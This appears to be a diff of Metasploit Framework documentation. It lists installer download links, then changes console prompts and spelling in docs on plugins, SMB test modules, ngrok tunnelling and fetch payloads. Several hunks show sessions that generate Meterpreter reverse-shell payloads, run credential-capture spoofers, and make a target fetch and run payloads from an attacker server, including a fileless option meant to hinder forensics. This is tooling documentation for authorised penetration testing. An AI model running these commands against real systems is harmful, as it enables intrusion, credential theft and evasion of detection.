| [metasploit-4.21.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-windows-x64-installer.exe.asc)|
| [metasploit-4.21.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-linux-x64-installer.run.asc)|
| [metasploit-4.21.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe.asc)|
| [metasploit-4.21.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-linux-x64-installer.run.asc)|
| [metasploit-4.20.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-windows-x64-installer.exe.asc)|
| [metasploit-4.20.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-linux-x64-installer.run.asc)|
| [metasploit-4.19.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-windows-x64-installer.exe.asc)|
| [metasploit-4.19.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-linux-x64-installer.run.asc)|
| [metasploit-4.19.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-windows-x64-installer.exe.asc)|
| [metasploit-4.19.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-linux-x64-installer.run.asc)|
| [metasploit-4.18.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-windows-x64-installer.exe.asc)|
| [metasploit-4.18.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-linux-x64-installer.run.asc)|
| [metasploit-4.17.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-windows-x64-installer.exe.asc)|
| [metasploit-4.17.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-linux-x64-installer.run.asc)|
| Download Link |File Type| SHA | PGP |
|--------------------------------------------------------------------------------------------------------------------------------------------------------------|-|---------------------------------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------|
| [metasploit-4.22.8-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe) | Windows 64-bit | [SHA256](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.sha256) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.asc) |
| [metasploit-4.22.8-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run) | Linux 64-bit | [SHA256](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.sha256) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.asc) |
| [metasploit-4.22.7-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.7-2025061901-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.7-2025061901-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.7-2025061901-windows-x64-installer.exe.asc) |
| [metasploit-4.22.7-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.7-2025061901-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.7-2025061901-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.7-2025061901-linux-x64-installer.run.asc) |
| [metasploit-4.22.6-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.6-2024111901-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.6-2024111901-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.6-2024111901-windows-x64-installer.exe.asc) |
| [metasploit-4.22.6-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.6-2024111901-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.6-2024111901-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.6-2024111901-linux-x64-installer.run.asc) |
| [metasploit-4.22.5-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.5-2024111401-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.5-2024111401-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.5-2024111401-windows-x64-installer.exe.asc) |
| [metasploit-4.22.5-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.5-2024111401-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.5-2024111401-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.5-2024111401-linux-x64-installer.run.asc) |
| [metasploit-4.22.4-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.4-2024101401-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.4-2024101401-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.4-2024101401-windows-x64-installer.exe.asc) |
| [metasploit-4.22.4-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.4-2024101401-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.4-2024101401-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.4-2024101401-linux-x64-installer.run.asc) |
| [metasploit-4.22.3-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.3-2024082201-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.3-2024082201-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.3-2024082201-windows-x64-installer.exe.asc) |
| [metasploit-4.22.3-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.3-2024082201-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.3-2024082201-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.3-2024082201-linux-x64-installer.run.asc) |
| [metasploit-4.22.2-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.2-2024072501-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.2-2024072501-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.2-2024072501-windows-x64-installer.exe.asc) |
| [metasploit-4.22.2-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.2-2024072501-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.2-2024072501-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.2-2024072501-linux-x64-installer.run.asc) |
| [metasploit-4.22.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-windows-x64-installer.exe.asc) |
| [metasploit-4.22.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-linux-x64-installer.run.asc) |
| [metasploit-4.22.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-windows-x64-installer.exe.asc) |
| [metasploit-4.22.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-linux-x64-installer.run.asc) |
| [metasploit-4.21.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-windows-x64-installer.exe.asc) |
| [metasploit-4.21.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-linux-x64-installer.run.asc) |
| [metasploit-4.21.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe.asc) |
| [metasploit-4.21.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-linux-x64-installer.run.asc) |
| [metasploit-4.20.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-windows-x64-installer.exe.asc) |
| [metasploit-4.20.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-linux-x64-installer.run.asc) |
| [metasploit-4.19.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-windows-x64-installer.exe.asc) |
| [metasploit-4.19.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-linux-x64-installer.run.asc) |
| [metasploit-4.19.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-windows-x64-installer.exe.asc) |
| [metasploit-4.19.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-linux-x64-installer.run.asc) |
| [metasploit-4.18.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-windows-x64-installer.exe.asc) |
| [metasploit-4.18.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-linux-x64-installer.run.asc) |
| [metasploit-4.17.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-windows-x64-installer.exe.asc) |
| [metasploit-4.17.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-linux-x64-installer.run.asc) |
## Metasploit Framework Source
@@ -6,7 +6,7 @@ Mentors: [@zerosteiner](https://github.com/zerosteiner), [@jmartin-r7](https://g
### Retain active status of authentication tokens
Many testing techniques interacting with web servers such as `XSS` rely on ensuring authentication obtained on a target be kept active. A mechanism for registering and maintaining open authentications identified during a test for the duration of the console session may provide an additional utility to enable more modules to target techniques that need valid authentication to be maintained. One such authentication token would be data retained in a cookie for a web service. This project would lay the groundwork for registering gathered or generated authenticaion tokens against a target to be refreshed and sustained until a console exits, or in some cases across console restarts.
Many testing techniques interacting with web servers such as `XSS` rely on ensuring authentication obtained on a target be kept active. A mechanism for registering and maintaining open authentications identified during a test for the duration of the console session may provide an additional utility to enable more modules to target techniques that need valid authentication to be maintained. One such authentication token would be data retained in a cookie for a web service. This project would lay the groundwork for registering gathered or generated authentication tokens against a target to be refreshed and sustained until a console exits, or in some cases across console restarts.
Difficulty: 2/5
@@ -290,7 +290,7 @@ end
msfconsole output:
```msf
msf6 exploit(windows/smb/msf_smb_client_test) > options
msf exploit(windows/smb/msf_smb_client_test) > options
Module options (exploit/windows/smb/msf_smb_client_test):
@@ -319,7 +319,7 @@ Exploit target:
0 Windows
msf6 exploit(windows/smb/msf_smb_client_test) > run
msf exploit(windows/smb/msf_smb_client_test) > run
[*] Started reverse SSL handler on 172.16.60.1:4444
[*] 172.16.60.128:445 - Create and write to Windows\Temp\payload.bat on \\172.16.60.128\C$ remote share
@@ -407,7 +407,7 @@ end
msfconsole output:
```msf
msf6 exploit(windows/smb/ruby_smb_client_test) > options
msf exploit(windows/smb/ruby_smb_client_test) > options
Module options (exploit/windows/smb/ruby_smb_client_test):
@@ -436,7 +436,7 @@ Exploit target:
0 Windows
msf6 exploit(windows/smb/ruby_smb_client_test) > run
msf exploit(windows/smb/ruby_smb_client_test) > run
[*] Started reverse SSL handler on 172.16.60.1:4444
[*] 172.16.60.128:445 - Create and write to Windows\Temp\payload.bat on \\172.16.60.128\C$ remote share
@@ -18,7 +18,7 @@ puts identify_hash "_9G..8147mpcfKT8g0U."
```
In practice, we receive the following output from this:
```ruby
msf5 > irb
msf > irb
[*] Starting IRB shell...
[*] You are in the "framework" object
@@ -4,7 +4,7 @@ They are designed to have a very loose definition in order to make them as usefu
Plugins are not available by default, they need to be loaded:
```msf
msf6 > load plugin_name
msf > load plugin_name
```
Plugins can be automatically loaded and configured on msfconsole's start up by configuring a custom `~/.msf4/msfconsole.rc` file:
@@ -61,9 +61,9 @@ The current available plugins for Metasploit can be found by running the `load -
The Alias plugin adds the ability to alias console commands:
```msf
msf6 > load alias
msf > load alias
[*] Successfully loaded plugin: alias
msf6 > alias -h
msf > alias -h
Usage: alias [options] [name [value]]
OPTIONS:
@@ -76,20 +76,20 @@ OPTIONS:
Register an alias such as `proxy_enable`:
```msf
msf6 > alias proxy_enable "set Proxies http:localhost:8079"
msf > alias proxy_enable "set Proxies http:localhost:8079"
```
Now when running the aliased `proxy_enable` command, the proxy datastore value will be set for the current module:
```msf
msf6 auxiliary(scanner/http/title) > proxy_enable
msf auxiliary(scanner/http/title) > proxy_enable
Proxies => http:localhost:8079
```
Viewing registered aliases:
```msf
msf6 > alias
msf > alias
Current Aliases
===============
@@ -122,9 +122,9 @@ To use the plugin, it must first be loaded. That will provide the `captureg` com
and stop subcommands. In the following example, the plugin is loaded, and then all default services are started on the 192.168.159.128 interface.
```msf
msf6 > load capture
msf > load capture
[*] Successfully loaded plugin: Credential Capture
msf6 > captureg start --ip 192.168.159.128
msf > captureg start --ip 192.168.159.128
Logging results to /home/smcintyre/.msf4/logs/captures/capture_local_20220325104416_589275.txt
Hash results stored in /home/smcintyre/.msf4/loot/captures/capture_local_20220325104416_612808
[+] Authentication Capture: DRDA (DB2, Informix, Derby) started
@@ -150,7 +150,7 @@ Hash results stored in /home/smcintyre/.msf4/loot/captures/capture_local_2022032
[+] LLMNR Spoofer started
[+] mDNS Spoofer started
[+] Started capture jobs
msf6 >
msf >
```
This content was originally posted on the [Rapid7 Blog](https://www.rapid7.com/blog/post/2022/03/25/metasploit-weekly-wrap-up-154/).
@@ -19,7 +19,7 @@ Metasploit's DNS configuration is controlled by the `dns` command which has mult
The current configuration can be printed by running `dns print`:
```msf
msf6 > dns print
msf > dns print
Default search domain: N/A
Default search list: lab.lan
Current cache size: 0
@@ -12,7 +12,7 @@ msf auxiliary(oracle_login) > run
```
or
```msf
msf5 auxiliary(scanner/oracle/oracle_hashdump) > run
msf auxiliary(scanner/oracle/oracle_hashdump) > run
[-] Failed to load the OCI library: cannot load such file -- oci8
[-] Try 'gem install ruby-oci8'
@@ -52,7 +52,7 @@ Which returns the following response:
### Start the server
Use the following command to run the server with a configured uesrname and password:
Use the following command to run the server with a configured username and password:
```
$ ruby msfrpcd -U user -P pass -f
@@ -76,27 +76,27 @@ $ dig +short 4.tcp.ngrok.io
metasploit side:
```msf
msf6 > use payload/windows/x64/meterpreter/reverse_http
msf6 payload(windows/x64/meterpreter/reverse_http) > set LHOST 192.0.2.1
msf > use payload/windows/x64/meterpreter/reverse_http
msf payload(windows/x64/meterpreter/reverse_http) > set LHOST 192.0.2.1
LHOST => 192.0.2.1
msf6 payload(windows/x64/meterpreter/reverse_http) > set LPORT 17511
msf payload(windows/x64/meterpreter/reverse_http) > set LPORT 17511
LPORT => 17511
msf6 payload(windows/x64/meterpreter/reverse_http) > set ReverseListenerBindAddress 127.0.0.1
msf payload(windows/x64/meterpreter/reverse_http) > set ReverseListenerBindAddress 127.0.0.1
ReverseListenerBindAddress => 127.0.0.1
msf6 payload(windows/x64/meterpreter/reverse_http) > set ReverseListenerBindPort 4444
msf payload(windows/x64/meterpreter/reverse_http) > set ReverseListenerBindPort 4444
ReverseListenerBindPort => 4444
msf6 payload(windows/x64/meterpreter/reverse_http) > to_handler
msf payload(windows/x64/meterpreter/reverse_http) > to_handler
[*] Payload Handler Started as Job 2
msf6 payload(windows/x64/meterpreter/reverse_http) >
msf payload(windows/x64/meterpreter/reverse_http) >
[*] Started HTTP reverse handler on http://127.0.0.1:4444
msf6 payload(windows/x64/meterpreter/reverse_http) > generate -f exe -o ngrok_payload.exe
msf payload(windows/x64/meterpreter/reverse_http) > generate -f exe -o ngrok_payload.exe
[*] Writing 7168 bytes to ngrok_payload.exe...
msf6 payload(windows/x64/meterpreter/reverse_http) >
msf payload(windows/x64/meterpreter/reverse_http) >
[*] http://127.0.0.1:4444 handling request from 127.0.0.1; (UUID: ghzekibo) Staging x64 payload (202844 bytes) ...
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:55468) at 2024-09-10 16:43:58 -0400
msf6 payload(windows/x64/meterpreter/reverse_http) > sessions -i -1
msf payload(windows/x64/meterpreter/reverse_http) > sessions -i -1
[*] Starting interaction with 1...
meterpreter > getuid
@@ -24,7 +24,7 @@ cURL, or Certutil.
## Organization
Unlike Command Stagers which are organized by binary, Fetch Payloads are organized by server. Currently, we support
HTTP, HTTPS, and TFTP servers. Once you select a fetch payload, you can select the binary you'd like to run on the
HTTP, HTTPS, SMB, and TFTP servers. Once you select a fetch payload, you can select the binary you'd like to run on the
remote host to download the served payload prior to execution.
Here is the naming convention for fetch payloads:
@@ -43,8 +43,8 @@ The fastest way to understand Fetch Payloads is to use them and examine the outp
target with the ability to connect back to us with an HTTP connection and a command execution vulnerability.
First, let's look at the payload in isolation:
```msf
msf6 exploit(multi/ssh/sshexec) > use payload/cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > show options
msf exploit(multi/ssh/sshexec) > use payload/cmd/linux/http/x64/meterpreter/reverse_tcp
msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > show options
Module options (payload/cmd/linux/http/x64/meterpreter/reverse_tcp):
@@ -62,22 +62,43 @@ LPORT 4444 yes The listen port
View the full module info with the info, or info -d command.
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) >
msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) >
```
### Options
`FETCH_COMMAND` is the binary we wish to run on the remote host to download the adapted payload. Currently, the
supported options are `CURL FTP TFTP TNFTP WGET` on Linux hosts and `CURL TFTP CERTUTIL` on Windows hosts. We'll get
into more details on the binaries later.
`FETCH_FILENAME` is the name you'd like the executable payload saved as on the remote host. This option is not
supported by every binary and must end in `.exe` on Windows hosts. The default value is random.
`FETCH_SRVHOST` is the IP where the server will listen.
`FETCH_SRVPORT` is the port where the server will listen.
`FETCH_URIPATH` is the URI corresponding to the payload file. The default value is deterministic based on the
underlying payload so a payload created in msfvenom will match a listener started in Framework assuming the underlying
served payload is the same.
### Dependent Options
`FETCH_FILELESS` is an option that specifies a method to modify the fetch command to download the binary payload to
memory rather than disk before execution, thus avoiding some HIDS and making forensics harder. Currently, there are
two options: `bash` and `python3.8+`. Both of these require the target to be running Linux Kernel 3.17 or above.
This option is only available when the platform is Linux.
`FETCH_FILENAME` is the name you'd like the executable payload saved as on the remote host. This option is not
supported by every binary and must end in `.exe` on Windows hosts. The default value is random.
This option is only available when `FETCH_FILELESS` is set to `none`
`FETCH_PIPE` is a binary flag that will create a second resource containing the original fetch command to run and then
will produce a much shorter command to run on the host that will download the original fetch command and pipe it
directly to the target's shell. Use this option if there is a limit on the command size as it will result in a much
smaller original command. When set to true, the `FETCH_URIPATH` option is used for the pipe command resource uri and
the default `FETCH_URIPATH`value is used for the original binary payload uri.
This option is only available when the fetch transport is HTTP or HTTPS and the payload platform is Linux with the
`FETCH_COMMAND` set to `CURL` or `WGET` or the platform is Windows and the `FETCH_COMMAND` is `CURL`
`FETCH_WRITABLE_DIR` is the directory on the remote host where we'd like to store the served payload prior to execution.
This value is not supported by all binaries. If you set this value and it is not supported, it will generate an error.
This value is not supported by all fetch binaries. If you set this value and it is not supported, it will generate an error.
This option is only available when `FETCH_FILELESS` is set to `none`
The remaining options will be the options available to you in the served payload; in this case our served payload is
`linux/x64/meterpreter/reverse_tcp` so our only added options are `LHOST` and `LPORT`. If we had selected a different
@@ -85,19 +106,19 @@ payload, we would see different options.
### Generating the Fetch Payload
```msf
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_COMMAND WGET
msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_COMMAND WGET
FETCH_COMMAND => WGET
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_SRVHOST 10.5.135.201
msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_SRVHOST 10.5.135.201
FETCH_SRVHOST => 10.5.135.201
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_SRVPORT 8000
msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_SRVPORT 8000
FETCH_SRVPORT => 8000
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set LHOST 10.5.135.201
msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set LHOST 10.5.135.201
LHOST => 10.5.135.201
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set LPORT 4567
msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set LPORT 4567
LPORT => 4567
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > generate -f raw
